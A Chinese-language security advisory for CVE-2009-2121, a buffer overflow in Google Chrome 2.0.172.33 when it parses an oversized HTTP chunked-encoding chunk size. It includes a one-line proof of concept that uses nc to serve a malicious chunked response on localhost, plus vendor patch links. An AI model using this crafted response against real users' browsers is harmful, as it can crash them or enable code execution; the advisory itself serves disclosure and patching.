发布日期：2009-06-22
更新日期：2009-06-24

受影响系统：

Google Chrome 2.0.172.33

描述：

---

BUGTRAQ  ID: 35462
CVE(CAN) ID: CVE-2009-2121

Google Chrome是Google发布的开源WEB浏览器。

Google Chrome在处理HTTP服务器的响应时存在缓冲区溢出漏洞。如果用户受骗访问了恶意网站并从服务器接收到了包含有超长分块编码块大小的响应报文，就会在memmove()中触发溢出，导致浏览器崩溃或执行任意代码。

<*来源：scarybeasts
  
  链接：http://secunia.com/advisories/35548/
        http://googlechromereleases.blogspot.com/2009/06/stable-beta-update-security-fix.html
        http://code.google.com/p/chromium/issues/detail?id=14508
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

* 从Linux命令行运行：

echo -ne 'HTTP/1.1 200 OK\r\nTransfer-Encoding:
chunked\r\n\r\nffff0000\r\nhello\r\n' | nc -l -p 8080 localhost

然后将Chrome指向http://localhost:8080/ 。

建议：

---

厂商补丁：

Google
------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://src.chromium.org/viewvc/chrome/trunk/src/net/http/http_chunked_decoder.cc?r1=18687&r2=18686
http://src.chromium.org/viewvc/chrome/trunk/src/net/http/http_chunked_decoder_unittest.cc?r1=18687&r2=18686

浏览次数：2637
严重程度：0（网友投票）